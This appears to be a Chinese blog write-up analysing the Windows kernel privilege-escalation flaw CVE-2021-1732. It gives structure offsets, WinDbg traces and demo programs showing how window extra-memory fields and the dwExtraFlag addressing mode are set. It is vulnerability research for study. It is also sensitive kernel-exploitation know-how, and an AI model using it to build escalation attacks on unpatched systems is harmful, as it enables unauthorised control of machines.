CVE-2021-1732 window内核提取漏洞 继续Windows提取洞的学习,这个漏洞利用的过程比上一个复杂挺多,之前又遭了甲流,花的时间久了点。下一个提权洞准备搞个UAF的。
环境搭建 漏洞复现环境。
vmware 16
Windows 10 Version 1909
windbg,VirtualKD-Redux
去 MSDN 工具站 下载对应的镜像,然后安装。
然后安装虚拟机,搭建VirtualKD-Redux调试环境。
编译exp,这里使用的是KaLendsi/CVE-2021-1732-Exploit ,修改下属性,应该就可以编译了。
测试一下,提权成功。
漏洞原理 单看漏洞点,实际上可以说是一个内存越界读写,而且与Windows窗口扩展内存有巨大关系。
基础知识 tagWND tagWND结构体,参考别人总结好的,比较重要的是ptagWND -> ptagWNDk -> dwExtraFlag还有ptagWND -> ptagWNDk -> pExtraByte,还有其他的,这些实际上都是调试内核函数总结出来的,对理解这个漏洞非常重要。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ptagWND(user layer) 0x00 hwnd 0x10 unknown 0x00 pTEB 0x220 pEPROCESS(of current process) 0x18 unknown 0x80 kernel desktop heap base 0x20 pself 0x28 ptagWNDk(kernel layer) 0x00 hwnd 0x08 kernel desktop heap base offset 0x18 dwStyle 0x58 Window Rect left 0x5C Window Rect top 0x98 spMenu(uninitialized) 0xC8 cbWndExtra 0xE8 dwExtraFlag 0x128 pExtraBytes 0x30 kernel desktop heap base offset 0x90 spMenu(analyzed by myself) 0x00 hMenu 0x18 unknown0 0x100 unknown 0x00 pEPROCESS(of current process) 0x28 unknown1 0x2C cItems(for check) 0x40 unknown2(for check) 0x44 unknown3(for check) 0x50 ptagWND 0x58 rgItems 0x00 unknown(for exploit) 0x98 spMenuk 0x00 pSelf
另一种表达方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 2 : kd> dt tagWND +0x000 h : Ptr64 Void +0x008 DesktopOffset : Uint8B +0x010 pti : Ptr64 tagTHREADINFO +0x018 rpdesk : Ptr64 tagDESKTOP +0x020 pSelf : Ptr64 tagWND +0x028 ptagWNDK : Ptr64 tagWNDK +0x030 DesktopOffset : Uint8B +0x058 Left : Uint4B +0x05C Right : Uint4B +0x098 spMenu : Ptr64 tagMENU +0x0C8 cbwndExtra : UInt4B +0x0E8 Flags : UInt4B +0x128 pExtraBytes : Uint8B
tagWNDK结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 struct tagWNDK { ULONG64 hWnd; //+0x00 ULONG64 OffsetToDesktopHeap;//+0x08 tagWNDK相对桌面堆基址偏移 ULONG64 state; //+0x10 DWORD dwExStyle; //+0x18 DWORD dwStyle; //+0x1C BYTE gap[0x38]; DWORD rectBar_Left; //0x58 DWORD rectBar_Top; //0x5C BYTE gap1[0x68]; ULONG64 cbWndExtra; //+0xC8 窗口扩展内存的大小 BYTE gap2[0x18]; DWORD dwExtraFlag; //+0xE8 决定SetWindowLong寻址模式 BYTE gap3[0x10]; //+0xEC DWORD cbWndServerExtra; //+0xFC BYTE gap5[0x28]; ULONG64 pExtraBytes; //+0x128 模式1:内核偏移量 模式2:用户态指针 };
CreateWindowsEx调试 我们需要对内核层的CreateWindowsEx进行调试来查看,首先编写一个demo,其调用CreateWindowsEx,并设置额外扩展内存,主要调试这额外扩展内存是怎么来的,以及赋值到哪。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <Windows.h> LRESULT CALLBACK MyWndProc (HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { return DefWindowProc(hWnd, message, wParam, lParam); } int WINAPI WinMain (_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nCmdShow) { HWND hwnd; MSG msg; WNDCLASSEX wndclass = { 0 }; wndclass.cbSize = sizeof (WNDCLASSEX); wndclass.style = CS_HREDRAW | CS_VREDRAW; wndclass.lpfnWndProc = MyWndProc; wndclass.hInstance = hInstance; wndclass.lpszClassName = (LPWSTR)L"Itach1" ; wndclass.cbWndExtra = 2 * sizeof (long long ); RegisterClassEx(&wndclass); hwnd = CreateWindowEx( NULL , L"Itach1" , L"Itach1" , WS_OVERLAPPEDWINDOW | WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL , NULL , hInstance, NULL ); while (GetMessage(&msg, hwnd, NULL , 0 )) { TranslateMessage(&msg); DispatchMessage(&msg); } return msg.wParam; }
其底层调用的是win32kfull!xxxCreateWindowEx函数,用windbg下断点,调试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 0: kd> ba e1 win32kfull!xxxCreateWindowEx 0: kd> g Breakpoint 0 hit win32kfull!xxxCreateWindowEx: fffff285`8283bbb0 4053 push rbx 0: kd> kb 00 fffff285`8283b690 : 00000000`00000000 00000000`00000000 00000000`00000000 ffffb985`70a68aa8 : win32kfull!xxxCreateWindowEx 01 fffff800`47a8ab15 : ffffd204`9715d080 ffffb985`70a68990 ffffb985`70a689a8 ffffb985`70a689b8 : win32kfull!NtUserCreateWindowEx+0x6a0 02 00007ffe`eea71f24 : 00007ffe`f0278011 ffffffff`ffff0000 00000000`40000600 00000000`0014fcc8 : nt!KiSystemServiceCopyEnd+0x25 03 00007ffe`f0278011 : ffffffff`ffff0000 00000000`40000600 00000000`0014fcc8 00000000`0014f920 : win32u!NtUserCreateWindowEx+0x14 04 00007ffe`f0277c04 : 00000000`00000006 00000000`00000000 00000000`00000000 00000000`10cf0000 : USER32!VerNtUserCreateWindowEx+0x211 05 00007ffe`f0277a42 : 0000fa4c`80000000 00000000`0000000a 00000000`00000000 00000000`0014fea0 : USER32!CreateWindowInternal+0x1b4 *** WARNING: Unable to verify checksum for test.exe 06 00000001`40001134 : 00000000`004732c0 00007ffe`eecdc105 00000000`00000002 00007ffe`ef601edb : USER32!CreateWindowExW+0x82 07 00000000`004732c0 : 00007ffe`eecdc105 00000000`00000002 00007ffe`ef601edb 00000000`80000000 : test +0x1134 08 00007ffe`eecdc105 : 00000000`00000002 00007ffe`ef601edb 00000000`80000000 00007ffe`80000000 : 0x4732c0 09 00000000`00000000 : 00000001`40000000 00000000`00000000 0000f271`9730b898 00000001`40001b12 : ucrtbase!parse_command_line<char>+0x71
在538行调用win32kbase!HMAllocObject申请tagWND结构体内存,这里怎么看出来申请tagWND的,应该是通过ida反编译后的代码可以看出来吧,并且会初始化ptagWND -> ptagWNDk -> pExtraBytes为0,反编译有点问题。
1 2 3 4 5 6 fffff285`8283c347 41b950010000 mov r9d,150h fffff285`8283c34d 448ac6 mov r8b,sil fffff285`8283c350 488b942480010000 mov rdx,qword ptr [rsp+180h] fffff285`8283c358 498bcf mov rcx,r15 fffff285`8283c35b 48ff1546983100 call qword ptr [win32kfull!_imp_HMAllocObject (fffff285`82b55ba8)] ds:002b:fffff285`82b55ba8={win32kbase!HMAllocObject (fffff285`82bccd40)} fffff285`8283c362 0f1f440000 nop dword ptr [rax+rax]
继续向下调试,可以发现一个判断,判断cbWndExtra成员是否为0,调试完查看值,不为0。
1 2 3 4 5 6 7 8 1: kd> pc win32kfull!xxxCreateWindowEx+0x1241: fffff285`8283cdf1 e8d2b90d00 call win32kfull!tagWND::RedirectedFieldcbwndExtra<int>::operator!= (fffff285`829187c8) 1: kd> p win32kfull!xxxCreateWindowEx+0x1246: fffff285`8283cdf6 84c0 test al,al 1: kd> r al al=1
就会进入xxxClientAllocWindowClassExtraBytes函数,申请空间,然后返回给ptagWND -> ptagWNDk -> pExtraBytes。 传入的大小为0x10,正好对应我们代码中,申请的两个long long大小。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 fffff285`8283cdca 8981c8000000 mov dword ptr [rcx+0C8h],eax fffff285`8283cdd0 498b4728 mov rax,qword ptr [r15+28h] fffff285`8283cdd4 8380c800000020 add dword ptr [rax+0C8h],20h fffff285`8283cddb 89bc24f0000000 mov dword ptr [rsp+0F0h],edi fffff285`8283cde2 498d8fb1000000 lea rcx,[r15+0B1h] fffff285`8283cde9 488d9424f0000000 lea rdx,[rsp+0F0h] fffff285`8283cdf1 e8d2b90d00 call win32kfull!tagWND::RedirectedFieldcbwndExtra<int>::operator!= (fffff285`829187c8) fffff285`8283cdf6 84c0 test al,al fffff285`8283cdf8 744a je win32kfull!xxxCreateWindowEx+0x1294 (fffff285`8283ce44) fffff285`8283cdfa 498b4728 mov rax,qword ptr [r15+28h] fffff285`8283cdfe 8b88c8000000 mov ecx,dword ptr [rax+0C8h] fffff285`8283ce04 e8a3470100 call win32kfull!xxxClientAllocWindowClassExtraBytes (fffff285`828515ac) 1: kd> p win32kfull!xxxCreateWindowEx+0x1254: fffff285`8283ce04 e8a3470100 call win32kfull!xxxClientAllocWindowClassExtraBytes (fffff285`828515ac) 1: kd> r ecx ecx=10
进入win32kfull!xxxClientAllocWindowClassExtraBytes,其参数为申请大小的长度,通过观察代码可以发现,这个函数调用了KeUserModeCallback,这是回调函数,可以实现Ring0->Ring3->Ring0,也就是回到r3调用用户层的函数,然后得到返回值,回到r0。
这里学习下KeUserModeCallback的函数调用过程,其函数定义如下。
1 2 3 4 5 6 7 KeUserModeCallback ( IN ULONG ApiNumber, IN PVOID InputBuffer, IN ULONG InputLength, OUT PVOID *OutputBuffer, IN PULONG OutputLength )
这里的第一个参数决定了将调用什么函数,KernelCallback表可在peb中查看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 1: kd> dt _PEB @$peb ntdll!_PEB +0x000 InheritedAddressSpace : 0 '' +0x001 ReadImageFileExecOptions : 0 '' +0x002 BeingDebugged : 0 '' +0x003 BitField : 0 '' +0x003 ImageUsesLargePages : 0y0 +0x003 IsProtectedProcess : 0y0 +0x003 IsImageDynamicallyRelocated : 0y0 +0x003 SkipPatchingUser32Forwarders : 0y0 +0x003 IsPackagedProcess : 0y0 +0x003 IsAppContainer : 0y0 +0x003 IsProtectedProcessLight : 0y0 +0x003 IsLongPathAwareProcess : 0y0 +0x004 Padding0 : [4] "" +0x008 Mutant : 0xffffffff`ffffffff Void +0x010 ImageBaseAddress : 0x00000001`40000000 Void +0x018 Ldr : 0x00007ffe`f1a453c0 _PEB_LDR_DATA +0x020 ProcessParameters : 0x00000000`00471c40 _RTL_USER_PROCESS_PARAMETERS +0x028 SubSystemData : (null) +0x030 ProcessHeap : 0x00000000`00470000 Void +0x038 FastPebLock : 0x00007ffe`f1a44fe0 _RTL_CRITICAL_SECTION +0x040 AtlThunkSListPtr : (null) +0x048 IFEOKey : (null) +0x050 CrossProcessFlags : 0 +0x050 ProcessInJob : 0y0 +0x050 ProcessInitializing : 0y0 +0x050 ProcessUsingVEH : 0y0 +0x050 ProcessUsingVCH : 0y0 +0x050 ProcessUsingFTH : 0y0 +0x050 ProcessPreviouslyThrottled : 0y0 +0x050 ProcessCurrentlyThrottled : 0y0 +0x050 ProcessImagesHotPatched : 0y0 +0x050 ReservedBits0 : 0y000000000000000000000000 (0) +0x054 Padding1 : [4] "" +0x058 KernelCallbackTable : 0x00007ffe`f02f7330 Void +0x058 UserSharedInfoPtr : 0x00007ffe`f02f7330 Void 1: kd> dqs 0x00007ffe`f02f7330 L130 00007ffe`f02f7330 00007ffe`f0275160 USER32!_fnCOPYDATA 00007ffe`f02f7338 00007ffe`f02eec70 USER32!_fnCOPYGLOBALDATA 00007ffe`f02f7340 00007ffe`f02928a0 USER32!_fnDWORD 00007ffe`f02f7348 00007ffe`f0296350 USER32!_fnNCDESTROY 00007ffe`f02f7350 00007ffe`f029c920 USER32!_fnDWORDOPTINLPMSG 00007ffe`f02f7358 00007ffe`f02ef400 USER32!_fnINOUTDRAG 00007ffe`f02f7360 00007ffe`f0297bc0 USER32!_fnGETTEXTLENGTHS 00007ffe`f02f7368 00007ffe`f02ef0c0 USER32!_fnINCNTOUTSTRING 00007ffe`f02f7370 00007ffe`f02ef180 USER32!_fnINCNTOUTSTRINGNULL 00007ffe`f02f7378 00007ffe`f0299430 USER32!_fnINLPCOMPAREITEMSTRUCT 00007ffe`f02f7380 00007ffe`f02949b0 USER32!__fnINLPCREATESTRUCT 00007ffe`f02f7388 00007ffe`f02ef230 USER32!_fnINLPDELETEITEMSTRUCT 00007ffe`f02f7390 00007ffe`f029ee90 USER32!__fnINLPDRAWITEMSTRUCT 00007ffe`f02f7398 00007ffe`f02ef290 USER32!_fnINLPHELPINFOSTRUCT 00007ffe`f02f73a0 00007ffe`f02ef290 USER32!_fnINLPHELPINFOSTRUCT 00007ffe`f02f73a8 00007ffe`f02ef390 USER32!_fnINLPMDICREATESTRUCT 00007ffe`f02f73b0 00007ffe`f029fbf0 USER32!_fnINOUTLPMEASUREITEMSTRUCT 00007ffe`f02f73b8 00007ffe`f0295970 USER32!_fnINLPWINDOWPOS 00007ffe`f02f73c0 00007ffe`f0294c90 USER32!_fnINOUTLPPOINT5 00007ffe`f02f73c8 00007ffe`f02996c0 USER32!_fnINOUTLPSCROLLINFO 00007ffe`f02f73d0 00007ffe`f0299df0 USER32!_fnINOUTLPRECT 00007ffe`f02f73d8 00007ffe`f0295a30 USER32!_fnINOUTNCCALCSIZE 00007ffe`f02f73e0 00007ffe`f0294c90 USER32!_fnINOUTLPPOINT5 00007ffe`f02f73e8 00007ffe`f02ef4c0 USER32!_fnINPAINTCLIPBRD 00007ffe`f02f73f0 00007ffe`f02ef580 USER32!_fnINSIZECLIPBRD 00007ffe`f02f73f8 00007ffe`f02a0d80 USER32!_fnINDESTROYCLIPBRD 00007ffe`f02f7400 00007ffe`f0271ed0 USER32!_fnINSTRING 00007ffe`f02f7408 00007ffe`f0271ed0 USER32!_fnINSTRING 00007ffe`f02f7410 00007ffe`f02a1230 USER32!__fnINDEVICECHANGE 00007ffe`f02f7418 00007ffe`f02751e0 USER32!_fnPOWERBROADCAST 00007ffe`f02f7420 00007ffe`f02960f0 USER32!_fnINLPUAHDRAWMENU 00007ffe`f02f7428 00007ffe`f029ef00 USER32!_fnOPTOUTLPDWORDOPTOUTLPDWORD 00007ffe`f02f7430 00007ffe`f029ef00 USER32!_fnOPTOUTLPDWORDOPTOUTLPDWORD 00007ffe`f02f7438 00007ffe`f02ef680 USER32!_fnOUTDWORDINDWORD 00007ffe`f02f7440 00007ffe`f029e870 USER32!_fnOUTLPRECT 00007ffe`f02f7448 00007ffe`f02752e0 USER32!_fnOUTSTRING 00007ffe`f02f7450 00007ffe`f02ef290 USER32!_fnINLPHELPINFOSTRUCT 00007ffe`f02f7458 00007ffe`f02ef180 USER32!_fnINCNTOUTSTRINGNULL 00007ffe`f02f7460 00007ffe`f02ef740 USER32!_fnSENTDDEMSG 00007ffe`f02f7468 00007ffe`f0294790 USER32!_fnINOUTLPSIZE 00007ffe`f02f7470 00007ffe`f0292900 USER32!_fnHkINDWORD 00007ffe`f02f7478 00007ffe`f029fd80 USER32!_fnHkINLPCBTACTIVATESTRUCT 00007ffe`f02f7480 00007ffe`f029e790 USER32!__fnHkINLPCBTCREATESTRUCT 00007ffe`f02f7488 00007ffe`f02eedc0 USER32!_fnHkINLPDEBUGHOOKSTRUCT 00007ffe`f02f7490 00007ffe`f0271720 USER32!_fnHkINLPMOUSEHOOKSTRUCTEX 00007ffe`f02f7498 00007ffe`f02eee20 USER32!_fnHkINLPKBDLLHOOKSTRUCT 00007ffe`f02f74a0 00007ffe`f02eee70 USER32!_fnHkINLPMSLLHOOKSTRUCT 00007ffe`f02f74a8 00007ffe`f0292940 USER32!__fnHkINLPMSG 00007ffe`f02f74b0 00007ffe`f02eeec0 USER32!_fnHkINLPRECT 00007ffe`f02f74b8 00007ffe`f02eef10 USER32!_fnHkOPTINLPEVENTMSG 00007ffe`f02f74c0 00007ffe`f02ef890 USER32!_xxxClientCallDelegateThread 00007ffe`f02f74c8 00007ffe`f02ee500 USER32!_ClientCallDummyCallback 00007ffe`f02f74d0 00007ffe`f02ef620 USER32!_fnKEYBOARDCORRECTIONCALLOUT 00007ffe`f02f74d8 00007ffe`f0296200 USER32!_fnOUTLPCOMBOBOXINFO 00007ffe`f02f74e0 00007ffe`f0299430 USER32!_fnINLPCOMPAREITEMSTRUCT 00007ffe`f02f74e8 00007ffe`f02ee500 USER32!_ClientCallDummyCallback 00007ffe`f02f74f0 00007ffe`f02961b0 USER32!_xxxClientCallDitThread 00007ffe`f02f74f8 00007ffe`f029f9f0 USER32!_xxxClientEnableMMCSS 00007ffe`f02f7500 00007ffe`f02ef9d0 USER32!_xxxClientUpdateDpi 00007ffe`f02f7508 00007ffe`f0274e00 USER32!_xxxClientExpandStringW 00007ffe`f02f7510 00007ffe`f02ee670 USER32!_ClientCopyDDEIn1 00007ffe`f02f7518 00007ffe`f02ee6f0 USER32!_ClientCopyDDEIn2 00007ffe`f02f7520 00007ffe`f02ee770 USER32!_ClientCopyDDEOut1 00007ffe`f02f7528 00007ffe`f02ee7b0 USER32!_ClientCopyDDEOut2 00007ffe`f02f7530 00007ffe`f02760c0 USER32!_ClientCopyImage 00007ffe`f02f7538 00007ffe`f02ee810 USER32!_ClientEventCallback 00007ffe`f02f7540 00007ffe`f02ee870 USER32!_ClientFindMnemChar 00007ffe`f02f7548 00007ffe`f02ee8d0 USER32!_ClientFreeDDEHandle 00007ffe`f02f7550 00007ffe`f029a350 USER32!__ClientFreeLibrary 00007ffe`f02f7558 00007ffe`f029b810 USER32!_ClientGetCharsetInfo 00007ffe`f02f7560 00007ffe`f02ee910 USER32!_ClientGetDDEFlags 00007ffe`f02f7568 00007ffe`f02ee990 USER32!_ClientGetDDEHookData 00007ffe`f02f7570 00007ffe`f029f920 USER32!_ClientGetListboxString 00007ffe`f02f7578 00007ffe`f0294b50 USER32!_ClientGetMessageMPH 00007ffe`f02f7580 00007ffe`f0276110 USER32!__ClientLoadImage 00007ffe`f02f7588 00007ffe`f0275390 USER32!_ClientLoadLibrary 00007ffe`f02f7590 00007ffe`f02737f0 USER32!_ClientLoadMenu 00007ffe`f02f7598 00007ffe`f029bbd0 USER32!_ClientLoadLocalT1Fonts 00007ffe`f02f75a0 00007ffe`f02eeb10 USER32!_ClientPSMTextOut 00007ffe`f02f75a8 00007ffe`f02ee9e0 USER32!_ClientLpkDrawTextEx 00007ffe`f02f75b0 00007ffe`f02a1470 USER32!_ClientExtTextOutW 00007ffe`f02f75b8 00007ffe`f02a1500 USER32!_ClientGetTextExtentPointW 00007ffe`f02f75c0 00007ffe`f02ee5f0 USER32!_ClientCharToWchar 00007ffe`f02f75c8 00007ffe`f0275500 USER32!_ClientAddFontResourceW 00007ffe`f02f75d0 00007ffe`f028f120 USER32!_ClientThreadSetup 00007ffe`f02f75d8 00007ffe`f02ee7f0 USER32!_ClientDeliverUserApc 00007ffe`f02f75e0 00007ffe`f02eea80 USER32!_ClientNoMemoryPopup 00007ffe`f02f75e8 00007ffe`f0297ff0 USER32!_ClientMonitorEnumProc 00007ffe`f02f75f0 00007ffe`f0296150 USER32!_ClientCallWinEventProc 00007ffe`f02f75f8 00007ffe`f029ca70 USER32!_ClientWaitMessageExMPH 00007ffe`f02f7600 00007ffe`f0297fc0 USER32!_ClientWOWGetProcModule 00007ffe`f02f7608 00007ffe`f02eec10 USER32!_ClientWOWTask16SchedNotify 00007ffe`f02f7610 00007ffe`f029ba90 USER32!_ClientImmLoadLayout 00007ffe`f02f7618 00007ffe`f0298310 USER32!_ClientImmProcessKey 00007ffe`f02f7620 00007ffe`f02eefe0 USER32!_fnIMECONTROL 00007ffe`f02f7628 00007ffe`f02a0cd0 USER32!__fnINWPARAMDBCSCHAR 00007ffe`f02f7630 00007ffe`f0297bc0 USER32!_fnGETTEXTLENGTHS 00007ffe`f02f7638 00007ffe`f02ef300 USER32!_fnINLPKDRAWSWITCHWND 00007ffe`f02f7640 00007ffe`f02750b0 USER32!_ClientLoadStringW 00007ffe`f02f7648 00007ffe`f02df7c0 USER32!_ClientLoadOLE 00007ffe`f02f7650 00007ffe`f02df800 USER32!_ClientRegisterDragDrop 00007ffe`f02f7658 00007ffe`f02df880 USER32!_ClientRevokeDragDrop 00007ffe`f02f7660 00007ffe`f02ef460 USER32!_fnINOUTMENUGETOBJECT 00007ffe`f02f7668 00007ffe`f0298cb0 USER32!__ClientPrinterThunk 00007ffe`f02f7670 00007ffe`f0296200 USER32!_fnOUTLPCOMBOBOXINFO 00007ffe`f02f7678 00007ffe`f02ef6e0 USER32!_fnOUTLPSCROLLBARINFO 00007ffe`f02f7680 00007ffe`f02960f0 USER32!_fnINLPUAHDRAWMENU 00007ffe`f02f7688 00007ffe`f0295900 USER32!__fnINLPUAHDRAWMENUITEM 00007ffe`f02f7690 00007ffe`f02960f0 USER32!_fnINLPUAHDRAWMENU 00007ffe`f02f7698 00007ffe`f02999f0 USER32!_fnINOUTLPUAHMEASUREMENUITEM 00007ffe`f02f76a0 00007ffe`f02960f0 USER32!_fnINLPUAHDRAWMENU 00007ffe`f02f76a8 00007ffe`f029b3e0 USER32!_fnOUTLPTITLEBARINFOEX 00007ffe`f02f76b0 00007ffe`f02ef7d0 USER32!_fnTOUCH 00007ffe`f02f76b8 00007ffe`f02eed00 USER32!_fnGESTURE 00007ffe`f02f76c0 00007ffe`f02ef290 USER32!_fnINLPHELPINFOSTRUCT 00007ffe`f02f76c8 00007ffe`f02ef290 USER32!_fnINLPHELPINFOSTRUCT 00007ffe`f02f76d0 00007ffe`f02ef840 USER32!_xxxClientCallDefaultInputHandler 00007ffe`f02f76d8 00007ffe`f0296a40 USER32!_fnEMPTY 00007ffe`f02f76e0 00007ffe`f02eeb90 USER32!_ClientRimDevCallback 00007ffe`f02f76e8 00007ffe`f02ef970 USER32!_xxxClientCallMinTouchHitTestingCallback 00007ffe`f02f76f0 00007ffe`f02ee580 USER32!_ClientCallLocalMouseHooks 00007ffe`f02f76f8 00007ffe`f028b3a0 USER32!__xxxClientBroadcastThemeChange 00007ffe`f02f7700 00007ffe`f02ef910 USER32!_xxxClientCallDevCallbackSimple 00007ffe`f02f7708 00007ffe`f02976b0 USER32!_xxxClientAllocWindowClassExtraBytes 00007ffe`f02f7710 00007ffe`f0297f30 USER32!_xxxClientFreeWindowClassExtraBytes 00007ffe`f02f7718 00007ffe`f02eed70 USER32!_fnGETWINDOWDATA 00007ffe`f02f7720 00007ffe`f0294790 USER32!_fnINOUTLPSIZE 00007ffe`f02f7728 00007ffe`f0271720 USER32!_fnHkINLPMOUSEHOOKSTRUCTEX
可以看到123代表的函数就是USER32!_xxxClientAllocWindowClassExtraBytes,我们去User32查看这个函数。
可以发现,其在用户层申请了cbWndExtra对应的大小值,然后调用ntdll!NtCallbackReturn值回到内核层继续执行,申请的空间会返回到v7变量,然后一步步取值,最终执行完xxxClientAllocWindowClassExtraBytes这个函数,我们查看执行完后的rax,其会赋值到ptagWND -> ptagWNDk -> pExtraBytes。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 1 : kd> pwin32kfull!xxxClientAllocWindowClassExtraBytes+0x114 : fffff285`828516 c0 c3 ret 1 : kd> pwin32kfull!xxxCreateWindowEx+0x1259 : fffff285`8283 ce09 488b c8 mov rcx,rax 1 : kd> r raxrax=00000000004789 a0 1 : kd> dd rax00000000 `004789 a0 00000000 00000000 00000000 00000000 00000000 `004789b 0 00000000 00000000 8e0 db23b 80000865 00000000 `004789 c0 3 d293638 505 c3a43 72676f 72 46206 d6100000000 `004789 d0 73656 c69 38782820 8e0 fb23d 8000096f 00000000 `004789e0 6946206 e 0073656 c 6 d6d6f43 72506e6 f00000000 `004789f 0 6172676f 3436576 d 8e01 b23f 90000 a3a00000000 `00478 a00 6172676f 6946206 d 00478810 00000000 00000000 `00478 a10 46206e6 f 73656 c69 8e03 b201 90000b 50
赋值给ptagWND -> ptagWNDk -> pExtraBytes。
以上就是CreateWindowsEx申请额外内存的过程了,这对后面理解漏洞原理,以及exp编写有帮助。
user32!ConsoleControl调试 其实除了上面的方法可以对pExtraBytes进行赋值,还可以通过user32!ConsoleControl来对pExtraBytes进行赋值,函数调用链为,user32!ConsoleControl->win32kfull!NtUserConsoleControl->win32kfull!xxxConsoleControl。
由于这个函数并未公开,需要自己获取下函数地址进行调用,这里编写个demo。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 #include <Windows.h> typedef DWORD64 (NTAPI* fnNtUserConsoleControl) (int nConsoleCommand, HWND* pHwnd, int nConsoleInformationLength) ;fnNtUserConsoleControl g_pfnNtUserConsoleControl = nullptr ; LRESULT CALLBACK MyWndProc (HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { return DefWindowProc(hWnd, message, wParam, lParam); } int WINAPI WinMain (_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nCmdShow) { HWND hwnd; MSG msg; WNDCLASSEX wndclass = { 0 }; wndclass.cbSize = sizeof (WNDCLASSEX); wndclass.style = CS_HREDRAW | CS_VREDRAW; wndclass.lpfnWndProc = MyWndProc; wndclass.hInstance = hInstance; wndclass.lpszClassName = (LPWSTR)L"Itach1" ; wndclass.cbWndExtra = 2 * sizeof (long long ); RegisterClassEx(&wndclass); hwnd = CreateWindowEx( NULL , L"Itach1" , L"Itach1" , WS_OVERLAPPEDWINDOW | WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL , NULL , hInstance, NULL ); g_pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll" ), "NtUserConsoleControl" ); g_pfnNtUserConsoleControl(6 i64, &hwnd, 0x10 ); while (GetMessage(&msg, hwnd, NULL , 0 )) { TranslateMessage(&msg); DispatchMessage(&msg); } return msg.wParam; }
首先win32kfull!NtUserConsoleControl打上断点。
1 2 3 1: kd> ba e1 win32kfull!NtUserConsoleControl 1: kd> bl 0 e Disable Clear fffff285`828e0440 e 1 0001 (0001) win32kfull!NtUserConsoleControl
进入xxxConsoleControl,可以看到如果dwExtraFlag & 0x800 ==0,就会采用申请内存桌面堆内存的方式,然后计算到桌面堆基址的偏移,赋值给pExtraBytes,然后将dwExtraFlag |0x800。
其中这个dwExtraFlag标志,对漏洞利用十分关键,因为其决定了后面调用SetWindowLong函数,其寻址方式,是寻找申请的用户空间内存的地址,还是寻找内核桌面堆的地址。
SetWindowLong调试 1 2 3 4 5 LONG SetWindowLongA ( [in] HWND hWnd, [in] int nIndex, [in] LONG dwNewLong ) ;
这个函数是用来向我们CreateWindows时,对申请的额外空间内存进行赋值操作的,前提是窗口类结构体的cbWndExtra不为0。 采用下面的代码,然后调试,通过系统调用号的查找,完全可以定位到内核调用的函数为 win32kfull!NtUserSetWindowLong,打上断点,开始调试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #include <Windows.h> LRESULT CALLBACK MyWndProc (HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { return DefWindowProc(hWnd, message, wParam, lParam); } int WINAPI WinMain (_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nCmdShow) { HWND hwnd; MSG msg; WNDCLASSEX wndclass = { 0 }; wndclass.cbSize = sizeof (WNDCLASSEX); wndclass.style = CS_HREDRAW | CS_VREDRAW; wndclass.lpfnWndProc = MyWndProc; wndclass.hInstance = hInstance; wndclass.lpszClassName = (LPWSTR)L"Itach1" ; wndclass.cbWndExtra = 2 * sizeof (long long ); RegisterClassEx(&wndclass); hwnd = CreateWindowEx( NULL , L"Itach1" , L"Itach1" , WS_OVERLAPPEDWINDOW | WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL , NULL , hInstance, NULL ); SetWindowLong(hwnd, 8 , 0xBBBBBBBBBBBBBBBB ); while (GetMessage(&msg, hwnd, NULL , 0 )) { TranslateMessage(&msg); DispatchMessage(&msg); } return msg.wParam; }
ValidateHwndEx返回tagWND结构体指针,后续调用win32full!xxxSetWindowLong,前三个参数就是我们调用SetWindowLong的三个参数,区别是第一个参数变成了ptagWND结构体指针。
然后进入xxxSetWindowLong,首先需要对参数nIndex进行一些判断,首先不能<0,然后肯定也不能超过当时定义窗口类的额外空间大小。
主要满足两个点,但是这里的FC偏移处到底代表啥呢,在什么条件就不为0了呢。
nIndex<0
nIndex+4 < cbWndExtra,这里为什么+4也很好理解,因为nIndex是long类型,4个字节,要赋值,所以最大能赋值的地址,肯定需要比最后的地址小4。
继续调试,到了找地址的地方,然后赋值了。
可以看到有两种找到最终地址的方式,实际上就是上面调试两个函数提到的方式,主要的判断方式还是为dwExtraFlag & 0x800 是否为0。
